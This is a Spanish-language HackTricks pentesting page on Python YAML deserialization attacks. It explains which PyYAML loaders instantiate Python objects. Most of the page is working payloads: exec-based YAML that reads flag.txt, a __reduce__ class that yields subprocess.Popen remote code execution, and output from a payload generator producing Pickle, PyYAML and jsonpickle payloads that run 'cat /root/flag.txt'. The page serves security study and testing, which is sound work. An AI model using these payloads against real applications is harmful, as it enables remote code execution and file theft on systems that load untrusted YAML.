hacktricks/pentesting-web/deserialization/python-yaml-deserialization.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

8.4 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Deserialización de Yaml

Las librerías de python de Yaml también son capaces de serializar objetos de python y no solo datos en bruto:

print(yaml.dump(str("lol")))
lol
...

print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l
 
print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1

Comprueba cómo la tupla no es un tipo de dato en bruto y, por lo tanto, fue serializada. Y lo mismo sucedió con el rango (tomado de los builtins).

safe_load() o safe_load_all() utilizan SafeLoader y no admiten la deserialización de objetos de clase. Ejemplo de deserialización de objetos de clase:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'

print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object

El código anterior utilizó unsafe_load para cargar la clase python serializada. Esto se debe a que en la versión >= 5.1, no permite deserializar ninguna clase python serializada o atributo de clase, con Loader no especificado en load() o Loader=SafeLoader.

Exploit Básico

Ejemplo de cómo ejecutar un sleep:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))

Vulnerabilidad .load("<contenido>") sin Loader

Las versiones antiguas de pyyaml eran vulnerables a ataques de deserialización si no se especificaba el Loader al cargar algo: yaml.load(data)

Puede encontrar la descripción de la vulnerabilidad aquí. El exploit propuesto en esa página es:

!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
  state:
    update: !!python/name:exec

O también puedes usar este one-liner proporcionado por @ishaack:

!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}

Ten en cuenta que en versiones recientes ya no puedes llamar a .load() sin un Loader y el FullLoader ya no es vulnerable a este ataque.

RCE

Ten en cuenta que la creación de carga útil se puede hacer con cualquier módulo YAML de Python (PyYAML o ruamel.yaml), de la misma manera. La misma carga útil puede explotar tanto el módulo YAML como cualquier módulo basado en PyYAML o ruamel.yaml.

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
    def __reduce__(self):
        return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))

Herramienta para crear Payloads

La herramienta https://github.com/j0lt-github/python-deserialization-attack-payload-generator se puede utilizar para generar payloads de deserialización de Python para abusar de Pickle, PyYAML, jsonpickle y ruamel.yaml:

python3 peas.py     
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!

cat /tmp/example_jspick 
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
  - cat
    - /root/flag.txt

Referencias

Para obtener información más detallada sobre esta técnica, lee: https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥